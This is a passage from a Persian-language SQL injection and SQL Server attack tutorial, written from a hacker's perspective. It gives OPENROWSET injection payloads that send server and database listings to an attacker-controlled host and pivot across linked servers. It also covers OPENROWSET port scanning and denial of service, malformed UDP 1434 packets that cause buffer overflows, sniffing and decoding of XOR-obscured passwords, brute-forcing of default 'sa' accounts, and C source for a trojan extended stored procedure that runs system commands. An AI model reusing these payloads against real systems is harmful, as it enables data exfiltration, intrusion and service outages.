Query ( را اجرا کنید و حتیremote database serverها را کنترل کنید  . 
یـک نفـوذگر مـی توانـد کـار را بـا جمـع آوری            . یک نفوذگر می تواند از این قابلیت برای دستیابی به شبکه داخلی استفاده کنید             

 : شروع کند که در زیر این موضوع نشان داده شده استmaster.dbo.sysserversجدول سیستمی اطلاعات از 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysservers') 
select * from master.dbo.sysservers 
 

 . داشته باشدLinked & Remote Serverشتر، نفوذگر می تواند گزارشی از اطلاعات برای توزیع بی
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysservers') 
select * from LinkedOrRemoteSrv1.master.dbo.sysservers 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysdatabases') 
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases 
...etc. 

 



 

Page 45 of 77                                                             ( SQL Injection Tutorial by Dangerous Wolf ) 

 

بـرای اجـرای گـزارش هـای دلخـواه      (شـند   ها برای دستیابی اطلاعـات پیکربنـدی نشـده با   Linked & Remote Serverاگر 
، آنوقـت نفـوذگر از   ) ها پیکربنـدی شـده باشـد   Stored Procedure فقط برای اجرای رویه های ذخیره شده یا –پیکربندی نشده باشد 

 :مورد زیر استفاده خواهد کرد
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysservers') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from 
master.dbo.sysservers' 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysdatabases') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from 
master.dbo.sysdatabases' 
...etc. 

 دیگـر بپـرد و در نتیجـه از میـان     database server بـه  database serverبا استفاده از این تکنیک، نفوذگر می توانـد از یـک  
Linked & Remote Serverر شود ها به شبکه داخلی نزدیک ت: 

insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysservers') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql 
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from 
master.dbo.sysservers''' 
insert into 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 
'select * from _sysdatabases') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql 
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from 
master.dbo.sysdatabases''' 
...etc. 
 

 پیدا کرد، او می تواند فایل های مـورد نیـاز   Remote Server یا Linked Serverهنگامی که نفوذگر دسترسی مناسبی به یک 
 .خود را با استفاده از روشی که در قبل توضیح داده شد، به سرورها آپلود کند

 

 )Port Scan(پویش پورت ها 
 به عنوان SQL Injectionکنیک ها که توضیح داده شده است، یک نفوذگر می تواند از یک آسیب پذیری با استفاده از این ت

، SQL Injectionهمچنین، بـا اسـتفاده از   .  به صورت ناقص برای شبکه داخلی یا اینترنت استفاده کندIP/Portیک اسکنر و پویشگر 
IP Addressوب(بعـد از پیـدا کـردن یـک      .د شد واقعی مربوط به سیستم نفوذگر، پنهان خواه (application    بـا اعتبـاردهی ضـعیف 

 : کندsubmit زیر را SQLورودیها، نفوذگر می تواند جمله 
select * from 
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OPENROWSET('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5','selec
t * from table') 

برگشـتی  بر اساس، پیام های خطـای  . ی فرستد، م80 روی پورت 10.0.0.123 را به outbound connectionمله، یک ـاین ج
)Error Messages (اگر پـورت بسـته باشـد، زمـان تعیـین      . و زمان مصرف شده، نفوذگر می تواند تعیین کند آیا پورت باز است یا خیر

 :خطای زیر نمایش داده خواهد شد مصرف خواهد شد وپیام timeoutشده بر حسب ثانیه در پارامتر 
SQL Server does not exist or access denied. 
 

 دارد کـه    applicationچیزی است که تا حدی بسـتگی بـه          (آنوقت، اگر پورت باز باشد، زمان به طور کامل مصرف نخواهد شد             
 :ت داده خواهد شدو پیام خطای زیر برگش) در عملا در پورت وجود دارد و در حال ایفای نقش می باشد

General network error. Check your network documentation. 
 
Or 
 
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the 
error. 

 
 ها در شبکه داخلی یا اینترنـت  host های IP Addressبا استفاده از تکنیک، نفوذگر قادر خواهد بود که پورت های باز را روی 

map کند و همچنین می تواند IP Address     خود را مخفی کدن چرا کـه تـلاش هـای برقـراری connection   بـه وسـیله SQL Server 
 .ایجاد شده اند

طـور مـوثر در یـک شـبکه      مقداری خام و پوچ خواهد بود، اما با روشی می تواند به Port Scanningبدیهی است که این نوع از 
مثـال زیـر را   .  خواهـد بـود  DoS attack در واقـع یـک   port scanningنتیجه دیگر ایـن حالـت از   .  را انجام دهدMAPPINGعملیات 
 :ببینید

select * from 
OPENROWSET('SQLoledb', 
'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600', 
'select * from table') 
 

 دقیقه خواهد فرستاد کـه در ایـن   10 به مدت 21 روی پورت 10.0.0.123 را برای outbound connectionاین دستور، یک 
 نمی توانـد  SQL Serverاین مورد به دلیل اینکه .  ایجاد خواهد شدFTP Service در مقابل connection ارتباط و 1000مدت حدودا 

و همچنین به دلیل اینکه تلاش خود را برای وصل شدن در مدت زمـان تعیـین شـده، ادامـه خواهـد داد،                         وصل شود    validبه یک سیستم    
 !!با استفاده از این متد،می توان چندین حمله را در یک زمان انجام داد و تاثیر این حمله را چندین برابر کرد. اتفاق می افتد



 

Page 47 of 77                                                             ( SQL Injection Tutorial by Dangerous Wolf ) 

 

 SQL Injectionروش هایی حرفه ای برای انجام : 6بخش 
بـا وجـود اینکـه در    .  به دست آوردیـم SQL Injectionدرکی تقریبا کاملی در رابطه با . پیرو مطالبی که در فصول قبل خواندیم

.  صحبت های بسیار شده ولی این فصل را به متدها و نکته هایی که اغلب اوقات استفاده می شود، اشاره می کنـیم MS SQLقبل راجع به 
 . برای فصول قبل نیز می تواند کاربرد داشته باشدهمچنین به عنوان خلاصه ای 

 
 :نکاتی برای حمله

نفـوذ بـه یـک       چگـونگی دسترسـی و     درشبکه نقـش بسـیار تعیـین کننـده در          یا و applicationفضای   درنــــــفوذگرموقعیت  
ی که انجام می دهـد بـه   ــاعمال ،عمل بکند web serverبه یک  SQLتزریق ازطریق نفوذگر اگر . راه دور دارد از SQL Serverسیستم

ه چهـار   ب ـقسـمت از مقالـه خـود        ایـن   .  متفاوت خواهد بـود    ،می تواند داشته باشد    SQL  با زمانی که دسترسی مستقیم به      یطور قابل توجه  
 :قسمت تقسیم می شود

ار وتصـدیق هویـت     ایـن حمـلات نیـاز بـه اعتب ـ        (قسمت اول شامل مباحثی می باشد که هکر احتیاج به شناسه وکلمه عبـور نـدارد                 
، درقسمت دوم راجع به حملاتی صحبت خواهیم کرد که برای انجام آن ها احتیاج به اعتبار داشـته وبـرای موفقیـت بایـد ازشناسـه        )ندارند

درآخـر   می باشـند و   در معرض خطر    سرور  یک  درقسمت سوم حملاتی مورد توجه قرار خواهد گرفت که ازطریق           . کاربری استفاده نمود  
 . انجام خواهند شدSQL Injectionبوسیله  سطحی به حملاتی خواهیم پرداخت که ازطریق وب و لاصه وبه صورت خ

 
 :جعبه ابزار یک هکر

 ،موارد غیر ضـروری    بسیاری از  ،بامچه سنگ فرش کردن پشت        یک دوش و   نآن که هرکاری انجام شود چه نصب کرد        قبل از 
آنجـا کـه      از .مورد حمله به یک سیستم کامپیوتری نیز صـادق اسـت           این امر در   هستند و اختیار داشتن ابزار مناسب قابل پیشگیری        با در 

 SQL ی  شامل ترکیبی ازبرنامه های سرویس گیرنده،ابزار کار مورد نیاز ماپس  می باشد،مورد توجه  SQL Serverاکنون حمله به یک

 !!می باشد MS SQLیار مهم یک نسخه ازخودابزار بس  ازییک.  می باشدC مترجم و sqlping query analyzerمثل ، 
ازآنجا که ممکن است مجبور شویم به مهندسی معکوس بپردازیم در           . می باشد هدف  به دست آوردن دسترسی به برنامه سرور        

 درآخـر هـم یـک برنامـه اسـتراق      .ی خواهد کردکمک شایان Datarescues  IDA proقوی همانند  decompilerدسترس داشتن یک 
 :تشکیل شده است زیرابزار  جعبه ابزار ازبه هر حال . مورد نیاز می باشد NGS Sniff وی همانندشبکه ق

MS SQL 2000 ,developer edition 
MS SQLclient tools(query analyzer & odbc ping) 
NGS Squirrel         -    برنامه های قوی جهت پیدا کردن حفره ها وپوشاندن آنها  
NGS SQL Crack    -    برنامه ای برای کرک کردن رمزکاربران استاندارد  
NGS Sniff              - برنامه قوی جهت آنالیزواستراق سمع درشبکه          
MS VC++ 
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 ؟)host (اطلاعات یا هاست
ان مثـال اکسـپلویت   به عنو ؟ Hostهست یا   بپرسد این است که به دنبال اطلاعات         چیز باید ازخود   هر یک سوال که هکر قبل از     

امکـان پـذیر    را HOST این حمله به هکر دسترسی بـه  . د مستقیم ویامعکوس شو منتهی به شل ،ممکن است buffer over run کردن
زمینـه   در حـال اجـرا    حتـی اگـر شـل در   ،نمی دهد را DataBase می کند ولی به طور مستقیم دسترسی آسان به اطلاعات ذخیره شده در 

 .حلی باشدامنیتی سیستم م
 بهتـرین   .عمل بـه دسـت بیـاورد       در را MDFهای DBمحتاج به این است که      نفوذگر  ،  Dataبرای به دست آوردن دسترسی به       

  کـردن  level،  لی حملـه اسـت بکنـد      ـــــــــــــــــــــــــــــــــــ ـدف اص ـــ ـکه ه  data به دست آوردن     یمی تواند برا  نفوذگر  کاری که   
RUTIME PATCH EXPLOIT بــرHOST ایــن نــوع حملــه هــا بایــد ازســری هــای زیــادی از لزومــاٌ. مــی باشــد  CALL هــا 

 Code Segment) ازیــــــــ ـظه مجــــــــــ ـد حافـــــــــــ ـک segmentت گذاری برــــــــ برای علام()Virtual Protectهمانند

Of Virtual Memmory) وان منبعـی بـرای مشـخص کـردن سـطح دسترسـی      بایت به عن 3  نوشتن واختصاص دادنیتبه عنوان قابل 
  . رندابگذ

سـطح   بـا ی  هـا  loginبنابراین حتی   .  قرار داد  ’sa’ رابرابر با  LogIn بایت این امکان به وجود می آید که هر         3 کردن این  set با
 ی که به طور عادی این دسترسـی را        درصورت . یا وارد کنند   ،روزب،  انتخاب ها را  dataبه دست آورده تا      اجازه پایین این امکان را     کاربری و 

مشـخص   نوع حملـه را  نیز  باید روش وارد شدن خود به سیستم و     ،به دست بیاورد   می خواهد    ای ر چه چیز نفوذگر  بسته به این که     . ندارند
 .دکن

 
 : حملاتی که به هویت احتیاج ندارند-قسمت اول 

اهمیت امنیتی این پـورت   .می باشد MS-SQL Monitor ، پورتUDP 1434 یست پورت های استاندارد، پورتلبا توجه به 
ده ـــــــ ـداده ش hostبر 1434به پورت، بسته ای UDP تیک بایبا این برنامه .  نوشته شدSQL Pingزمانی مشخص شد که برنامه ی 

 SQL. دارد0x02ری برابرمقدابسته بایت این . نیزکار می کند Broadcast Subnetکل   علی رغم اینکه این برنامه برعلیه.می فرستد

Server به تقاضا کننده جواب می دهد که این جواب دارای اطلاعات مهمی همانندhostname،   شـماره نسـخه ،net libraryپـورت    و
 . به آن ها گوش می دهدرهایی است که سرو

servername:server-name 
intancename:mssqlserver 
isclustered:no 
version:8.00.194 
np:\\server-name\pipe\sql\query 
via:servername/o:1433 
 

 : قابل توجه وجود داردمورد چند 
اجـرا    نصـب شـده باشـد،      2 پـک     باشـد، بـرای مثـال اگـر سـرویس          یاولین مورد این است که شماره نسـخه داده شـده غلـط م ـ             

طریـق   که این کار از   ،  رور پنهان شده باشد   اگر س  و 8.00.194رابازمی گرداند نه مقدار      8.00.608 مقدار "”select@@versionکردن
 2433 پـورت ه ب ـ SQL Server آنگـاه ،شـود  یانجام م SQL Network Utility در TCP Network Libraryی برا Hide گزینه

TCP   اما به هرحال   د؛ گوش خواهد دا  SQL-Ping           این چیزی   می باشد و   1433گزارش می دهد که سرور درحال گوش دادن برپورت
 .  نام نهاده است sql serverپنهان نمودن مایکروسافت آن رااست که 
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SQL-Ping  مبحث  روزنه جدیدی در     باعث بازشدنScanning اما عملیات   ،  بودscan  ،   اینکه این برنامه ارائه     خیلی زود بعد از
ت ــ ــــــدریاف 1434ورت طریق پ ـ که از بسته ای را SQL Serverاگر آن این است که حال یک سوال پیش می آید و. شد متوقف شد

 ؟انجام می دهد چه عملی را،  باشد0x02  دارای مقداری غیر از ،می کند

SQL Ping ، تحت تأثیر قرار داد که او بامسئولیت بالا یک  رانویسنده اش آنقدرapplet ِکوچک winsock مقادیرنوشت که  
 مـرده   سرور عملا،بود0x08 هنگامی که مقدار این بسته ها برابر با .  می فرستاد1434 سرعت بالا به پورت حجم و با 0xff تا 0x00از را

 بـرای آن درزبـان   ایمشابه سورس  می توانیم    ، امتحان کنیم  ،برعهده دارد  را UDP که چنین تقاضای    کدی را  اگر ما بیتِ  . حساب می شد  
C زیر می باشدمثل نظر بگیریم که در: 

If(FIRST_BYTE>9) 
  { 
          goto g9; 
else 
          if(FIRST_BYTE==9) 
            { 
                goto e9; 
            } 
          else 
           { 
               FIRST_BYTE=FIRST_BYTE_2; 
if(FIRST_BYTE>6) 
  { 
     shoud never get here!!! 
   } 
cmdptr=cmdptr+4* FIRST_BYTE; 
cmdptr(); 
} 

 
 Stacked Based Buffer OverFlowباعـث 0x04 . دنمـی باش ـ 0x0A  و0x08  و 0x04علاقـه مـا   قادیر مورد بحث وکه م

کـه در زیـر تـک تـک بـه      . مـی شـود   Network DoS باعـث  0x0Aهمچنین . می شــــــــودHeapOverFlow  باعث 0x08شده و 
 .توضیح می پردازیم

 
x04: 

 0x04 کـه بعـد از    هرآنچه را،شده است 0x04می کند که مقدار بایت اولی آن به را دریافت بسته ایSQL Server هنگامی که
آماده شدن برای بازکردن کلید رجیستری یـک         بافر بازکندو  استفاده از  یک کلید رجیستری با    هک تلاش می کند   وارد بافرکرده و   بیابد را 
  بـا بـه اصـطلاح   زشدن بـافر پشـته  ـرری ــــث ســـــ ـی توانیم باعم ماو اکنون. به وجود می آورد Stringامن برای کپی کردن یک  فضای نا

stack based bufferاین به ما کنترل کامل یک سیسـتم را   و. شویم،وباره نوشتن برروی آدرس بازگشتی ذخیره شده برپشته و نیز د 
این اسـت کـه تمـام آن هـا درحـال      د، می کن چندان   چیزی که این مشکل را دو     . بدون آنکه احتیاج به تصدیق هویت داشته باشیم می دهد         

حال  جایی دیگردر  مله از حکه وانمود شود    به این صورت    . است قابل جعل    IPسانی آدرس آبنابراین اولا به    ،  دنمی باش  UDP اجرا برروی 
ی ایـن باعـث سـردرگمی تعـداد زیـاد           بـرروی شـبکه داخلـی فرسـتاده شـده انـد و             HOSTیـک  از سته هـا  بحتی این    یا و می باشد    اجرا

-DNSآنچنان وانمود کند کـه یـک پاسـخ بـه      قرار دهد و53 برابر با راUDP دوم اینکه اگر هکر پورت مبدأ  .ازدیوارهای آتش می شود   
QUERY دیوارهای آتش می شود تعداد بسیار زیادی از شدن از باعث رد  باز،باشد. 
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 بـا و نیـز    خـارج    بسته فرستاده شـده از     اشد که هر  این نکته بسیار مهم می باشد که دیوارهای آتش شما به گونه ای نصب شده ب               
اجـازه ندهـد    SQL Server  برای1434مقصدبرای بسته ای  به هیچ عنوان به هیچ ،اینکهر ت نکته مهم. به دام بیاندازد آدرس خارجی را

رروی اینترنت همگی به ب SQL Serverهای مربوط به  Manualی و کتاب های کمک. به هیچ عنوان مهم نیست، اینجا پورت مبدأ در و
 . اما این نکته به هیچ عنوان صحیح نمی باشد .باید برروی دیوار آتش بازباشد 1434این نکته  اشاره دارند که پورت 

ــه مشک  ــاه، هیچگونـ ــیچ گـ ــن هـ ـــ مـ ــهـــــــــ ــانی کـ ــن پ،لی درزمـ ـــ ایـ ـــورت بســـــــ ــودهـــــــــ ـــ ن،ته بـ  .داشتمــــــــــ
 .می کردند همگی به خوبی کار QUERY ANALYZER -ENTERPRISE MANAGER–IISمامیـــــــــــــت

 
X08: 

 بسیار افت کند یا SQL Serverاین امکان به وجود می آید که 1434به پورت UDPدر بسته  0X08 از فرستادن یک بایت با
 مـی  ،ددمورد آنچه به وقوع می پیون ـ  رکمی تحقیق د    با ،مولی تلقی می شود   ـــ مع DoS ابتدا یک حمله   چیزی که در  . کشته شود  به اصطلاح 

خوانی مـی  راــــــا فر ()STRTOKع تاب،رد بلافاصلهیهنگامی که یک سرور می م. تبدیل شود HEAP OVER FLOW تواند به یک
 .کند

 ،اگر چیزی پیـدا کنـد  در این صورت، .  می گرددهیک رشت  دره  داده شد ) کارکتر (TOKEN به دنبال یک   ()STRTOK تابع  
pointer بــه را tokenاگــر. . برمــی گردانــدtokenپیــدا نشــد ،null pointerبازگردانــده مــی شــود .SQL Server  هنگــامی کــه

 یـک مقـدار   ،()strtok تـابع ،ولـی ازآنجـا کـه وجـود نـدارد       .گـردد  مـی  : یـا همـان      Colonیک  ، به دنبال    می خواند  فرا  را ()strtokتابع
چک نکرده که آیا عمل تابع موفقیـت آمیـز    برنامه نویسی کرده است، سرور را  قسمت از اما هرکس که این  .می گرداند  باز را(null)پوچ

 .می کند crash  اما ازآنجا که مقدار آن پوچ است سرور،دنارجاع می ده ()atoIبه سوی تابع   راpointer نه، آنها بوده یا
اشـاره    موفقیت آمیزبوده و   ()strtok باشد، تابع  می ”: برابر بایک    0x3a مقدار ،بفرستیم  را 0x08\0x3Aدوبایتیبسته  اگر یک   

 گرفتـه و  ایـن تـابع یـک رشـته را     ،()ATOI این بار هنگام فراخوانی تـابع . می کندCrash باز SQL Serverگر بازگردانده می شود اما
ه عنـوان مثـال   ب ـ. مـی گردانـد   بـاز  رشـته را  آن عـدد صـحیح موجـود در    بعـد از  مـی باشـد و    قسمت اول رشته یـک عـدد  ،می دهدنشان 
 3بسـته ی    یـک    اگر با  می کند و   ATOI()  ،Crashنیست تابع  (:)آنجایی که چیزی بعد از      تبدیل می شود، اما از     12 به X31\X32\مقدار

 ، می باشد  HOST:PORTار شبیه ارتباط های   ـــاین بسی !!  زنده می ماند   SQL-SERVER  بفرستیم X08\X3A\X31\ مقدار بایتی با 
-HEAP-OVERیـک   ،  ارـــــ ـایـن ب  . ت متصل باشـند   ـــــر پاک ــــــآخ  در 22:وارد می کنیم که به     ه تقریبا بلند را   بنابراین ما یک رشت   

FLOW           داستان  در این مورد نیز .می دهد  به وجود آمده که به هکر امکان کنترل کامل برسرور راUDP دیوارهـای آتـش نیزصـادق     و
 .است 

 
X0A: 

 گامی کـه  ــــیک دیدگاه بسیار جالب می باشد هن        اما از  .نترل به دست نمی آید    ــــــــــــک  و  تسلیم نشده  ،این بار هیچ سیستمی   
SQL Server ، 0که مقدار بایت اول آن برابر  دریافت می کندبسته را یکX0Aیـک  بسـته  بایـک  بسـته  فرسـتنده    باشد، سرور به مبدأ

  . جواب می دهد0X0Aمقدار بایتی با

 تغییـر کنـد و   SQL Server  یـک IP  مبـدأ آن بـه  IP شود که(SPOOF) به طوری جعلبسته ک اگر ی: اینجاست مشکل در
 به پـورت  0X0Aبسته  دوم با یک SERVER، دیگر بفرستیم SQL Serverبه یک سپس آن را  تغییر دهیم و1434به را پورت مبدأ

1434 UDPبه آن پاسخ می دهد و SQL Server 0 بسته  با ،اولX0A1434به پورت خود UDPِد و  پاسخ می ده، دوم سرور ...  
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یـک   هیچ کاری انجام نمـی دهنـد یـا        یا  ،  0X06-0X03تقریبا هیچ چیز دیگر جز بایت اول کاری نمی کند، مقادیر بعدی همانند            
 .می فرستند 0X02بسته پاسخ با همان اطلاعات به عنوان یک 

  

“HELLO” BUG: 

بـرای   ویت ــــــــــ ـدیق هــــــــــار گرفتن سیستم را بدون نیاز به تصاختی یک نوع در ، Dave Aitel،2002درآگوست سال
SQL-SERVERدر  راDEFCON برای اطلاع بیش تر دراین مورد به آدرس زیر مراجعه کنید .معرفی کرد . 

HTTP://ONLINE.SECURITYFOCUS.COM/bid/15411.html 
   

 : در شبکهSniffingعملیات 
 بـه  ، تصـدیق مـی شـود   LOG-ON هویت او به عنوان یـک  متصل می شود و SQL SERVER هنگامی که یک کاربر به یک

 روش رمزنگـاری . کابل فرستاده می شود در TXT برای پاک کردن رمز او ، کلمه کاربری وWINDOWSNT /2000عنوان یک کاربر
“ENCRIPTION” یک عملیات ساده،به کار می رود که برای پنهان کردن کلمه رمز  BiteWise XORمز به یـک  کلمه ر.  می باشد

خیلی راحـت  این مورد، .  خواهد شد0Xa5 ،XOR برابر با مقدار ثابت بایت با هر تبدیل می شود و Unicode یا  فرمت طویل ازکارکترها  
 دانیم که   می ما  شده و  0XA5 آمده شده درکابل   در یک کلمه عبور به رمز     بایت دوم از    چون هر  ،کارکردن می باشد   برای نتیجه گیری و   

، )NULLهمـان    (صـفر  هنگامی که یـک عـدد بـا        و است   NULL  یا پوچ بایت دوم برابر با    هر  بوده و  UNICODE فرمت کلمه رمز در  
XORشود، جواب یکی خواهد بود : 

0X41 XOR 0X00=0X41 , 0XA5 XOR 0X00=0XA5 
 

آسانی را برای به دسـت آوردن مشخصـات    رببرد، کا به کار Client و Server بین  SNIFFER اگرکسی یک،به آن معنی که
هنگامی که این کار انجام شد به طور یقین         . بازسازی کند   کردن آن می تواند کلمه عبور اصلی را        UNXOR با هویت یک شخص کرده و    

 .به دست آورد راSQL SERVER به دسترسی  می توان
 

 :Brute Forceحملیات 
بدون داشتن کلمه رمـز  ’SA‘   یعنی، برروی یک سیستمLOG IN ترینبه دلیل قوی ، SQL SERVER، به صورت معمول

 باید به خوبی چـک کنـد کـه آیـا مـی              نفوذگر .ابتدایی هستند  چه حد  در نشان داد که این گونه ابداعات هنوز       SPIDA کرم.مشهور است 
حال نصب آن  د، فردی که در نصب می شوSQL SERVERهنگامی که. خیر کند یا LOG IN بدون کلمه عبور’SA‘  تواند به عنوان

 . را ندهد ’SA’به کار ببرد تا اجازه ورود بدون کلمه رمز به است، باید تمام دقت خود را
ایـن درمـورد      داشتند که آن نیز بدون کلمه عبور بود و         ’PROB’یک کاربر به اسم    نیز 6,6.5  همانند SQL نسخه های قدیمی  

 . نیز صادق است ، اندارتقا پیدا کرده SQL 2000 سیستم هایی که به
ایـن  .  مـی باشـد  DISTRIBUTER ADMIN و آن  قرار داردSQL SERVER  به طور معمول برروینیزحساب دیگری 

هـا   DB تعداد زیادی از مدیران      ،می باشد  ()CREATEGUID حساب به طور پیش فرض یک کلمه رمز دارد که یک فراخوان بر تابع             
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شـروع بـه    .  هنگامی که روش های بالا بـا شکسـت مواجـه شـده انـد               .یز قابل حدس تغییر می دهند     یا به یک چ    این کلمه رمزرا برداشته و    
 .، روش کار می شوددارند  که کلمه عبوریبرای حساب های (BRUTE FORCE)شکاندن کلمات رمز 

 

 :می باشند SQLعبور رمز  فایل هایی که معمولا حاوی کلمات کاربری و :افایل ه
 ود فایل هـای ـــــــــــیا خ  وSQL SERVERی به فایل سیستم یک کامپیوتر که درحال ارتباط بایکاگر کسی بتواند دسترس

SQL SERVER ،ترسی بـه ـــــ ـب دســـــ ـه امتحان کردن آنها برای وجود اطلاعاتی که موج کتعدادی فایل می باشند پیدا کندSQL 
 یا فایل های ماننـد  و ACTIVE SERVER PAGESکردن سورس  امتحان ،ها Web Serverدرمورد . می باشدبا ارزش  می شوند، 

ASA.CFM,GLOBAL.APPLICATION  تلاش برای پیدا کردن فایل های باپسوندهای         .ارزش است  با DSN .     نیز جالب مـی باشـد .
 ، مانندبه جا می ارتقا یا از نصب و  که بعدTEMPRORYفایلدو  و SETUP.ISS و SQLSP.log فایلِ، SQL Serverخود  درمورد

 . نگاه می دارند رارمز و عبور معمولا کلمات 
 
 

 ):Trojan –تروجان ( برای اسب های تراوا Extendedرویه های ذخیره شده ی 
 گرفتـه  Image برفایـل هـای    هـا NTFS PERMISSION مولاــــــــــــــــــــ ـ، معSQL SERVER نصب کردن بعد از

 Replace یـا  بـه جـا و     جـا  به هرکسی می دهند تـا آنهـا را          به طوری که این اجازه را      ،ندضعیف می باش  ) EXE,*.DLL.* : همانند(شده  
آلـوده  یک نسخه   شده باشد با(LOAD) که بارگیریDLL  جانشین کردن یک، درحال اجرا باشدSQL SERVERهنگامی که. کنند

  ، آنهایی کـه بـا  EXTENDED STORED PROCEDURE  هایDLL به هر حال. آسان نمی باشد) یا کلا هر چیزی(به تروجان 
XP_مـی شـوند کـه    فقط هنگـامی اجـر ا    شروع می شوند، فقط وEXTENDED STORED PROCEDURE     د،  آنهـا اجـرا شـو

 . بنابراین می توان یکی ازاین فایل ها راجانشین کرد
، Cکد  . XP_SHOWCDVانند هم .بهترین فایل ها برای انتخاب فایل هایی است که عموم قادر به دسترسی به آنها می باشند                

 . به صورت زیر است  EXTENDED STORED PROCEDURبرای 
//compile: 
//c:\>cl /ldxprepl.c /link odbc.lib 
#include<stdio.h> 
#include<srv.h> 
____declspec(dllexport)ulong__getxpversion() 
{ 
return 1; 
} 
____declspec(dllexport)srvetcode xp-showcolv(srv_proc*psrvproc) 
{ 
system(“my command”); 
return 1; 
} 
 

ــالا یتوجــه داشــته باش ــ!  همــین کــافی اســت و ــرد  دو عمــل را د کــه کــد ب ــه عهــده مــی گی ــره شــده و procedureاول . ب  ذخی
 . GETXPUERSPNدوم
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 Sql-Server کد درون .بارگیری نماید  را دومی استفاده می کند که کتابخانه ها       هنگامی ازXP-SHOWCOLV    به طور ساده 
 SQLلاعات ـــــــــــــــــ ـتلاش می کردکـه بـه اط   نفوذگری البته اگر. می خواند کردن یک فرمان فرا برای اجرا  را()SYSTEMتابع

SERVER  دسترسی پیدا کند، هنگامی که DLL بنـابراین    بـارگیری شـود و  ،حال اجرا اسـت   سرور دری آدرسی که خودِاهمان فض در
-XP هنگـامی کـه   .  انجـام دهـد    واهـد، کـه مـی خ     اومی تواند تقریبا تمام کارهـایی را       .نیت اجرا شود  ــــــــطح ام ــــــــمان س ــــــــه در

SHOWCOLV می شود اجرا، اجراشود، فرمان مورد نظر. 

 

 :حمله به کلاینت ها
 آسـیب پـذیر   SQL MONITORدر پـورت  افرــــــــــــــ ـز شـدن ب ــــــــ ـبه سرریSQL SERVER به همان طریقی که

 . می باشد نیز آسیب پذیر SQL SERVER ENTERPRISE MANAGER، است
 بـرای   MMCگوش می دهد، به نحوی که هنگام به وجود آمدن تقاضا توسـط             1434  که به پورت   UDPربا کد کردن یک سرو    

زگشتی ذخیره شـده بـرروی    طولانی به بیرون بفرستد، آدرس باHOST NAME محلی درشبکه، یک SQL SERVER تست کردن
بـه    را MMCهکر می تواند کنترل مسیر اجـرای ، procedureدر برگرداندن  می شود و (OVER WRITTEN) پشته دوباره نوشته

 ENTERPRISE MANAGER ال اجـرای ــــــــــــــــ ـدرهمان زمینه امنیتی کاربری که درح عهده گرفته وکدهای دلخواه خود را
 .اجرا نماید است را

ازه دسترسـی  ــــــــ ـ می باشد اجENTERPRISE MANAGER این نکته باید پذیرفته شود که کاربری که درحال اجرای
 . انجام داد SQL SERVERاعتبار آن شخص برعلیه بنابراین یک حمله غیر مستقیم را می توان با و دارد را SQL SERVERبه

 
 : احتیاج دارند (ATHENTICATION)حملاتی که به تصدیق هویت  -قسمت دوم

هنگامی که دسترسـی مـورد   ،  لزومی به گفتن ندارد که تعداد آسیب هایی که توسط یک هکر می تواند مورد استفاده قرار بگیرد                 
 LOGخصی ــــــــــ ـ هنگـامی کـه ش  .دلیل این امر بسیار ساده می باشد بیشتر می شود و تصدیق قرار گرفته به دست آمده است بسیار

IN وسیع تر می باشد ، طح عمل اوشده باشد س . 

SQL SERVER ،زیـرا بـه آنهـا تـا    ،بسیار خوب اسـت ، این برای مدیران برنامه ای است که سطح عمل بسیار وسیعی دارد و  
سـطح عمـل وسـیع تـر         چـه یـک برنامـه بـا         امنیتـی گفتـه مـی شـود هـر          های  اکثر بحث    آنجا که در   اما از . سطح عمل می دهد    چند قدمی 

پـس مـی   . نیز ازاین قاعده مستثنی نیست sql server بیشتر مشخص می شوند و تعداد بیشتر و  بوده، حفره های آن درتر Complexو
 . پرکاربرد اما بسیار ناامن :  را اینطور توصیف کردSQL Serverتوان 

 
 

 :DB Serverهدایت 
 MASTER DATABASE ،ل مـی کنـد  که تنظیمات سیستمی راکنتـر  SQL دیتابیس اصلیهمان طور که در قبل گفته شد، 

بـرای بـه   .  چیزها نیـز اینجـا یافـت مـی شـوند     تقریبا سایر  جایی که کاربرها تعریف شده اند، سایر دیتابیس ها لیست شده اند و          .نام دارد 
 .  زیررا اجرا نماییدQUERYنمایش درآمدن لیست کاربرها شما می توانید

SELECT NAME FROM SYS LOGINS 
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 SYSLOGINSنظـــره ازیـــک مSQL SERVER 2000ـــ کـــه منشـــأ آن جـــدول اصـــلی کاربره ، مـــی باشـــد ا ــــــ
واسته خـود درمـورد نسـخه هـای         ـــــــــدراینجا ما می توانیم به خ      SYSLOGINS انتخاب کردن  می باشد با   SYSXLOGINSیعنی

 .وجود نداردSYSXLOGINS  جدول ،SQL SERVER ترنسخه های قدیمیدر  چون .قبلی نیز برسیم

ه شـده  ئ ـی که دراین  مقاله ارا به دادن اطلاعات به وسیله روش هایSQL SERVERزدن به حقه ویا(داشتن اجازه  ک فرد بای
 . نیز دسترسی پیدا کند  هاPASSWORD HASHE می تواند به) اند

SELECT NAME PASSWORD FROM SYSXLOGINS 
 

محتاج بـه اسـتفاده       ما ،لمات عبور ارائه نمی دهند    مورد ک   چیزی در  SYSLOGINS از آنجا که   SQL-SERVER-2000 در
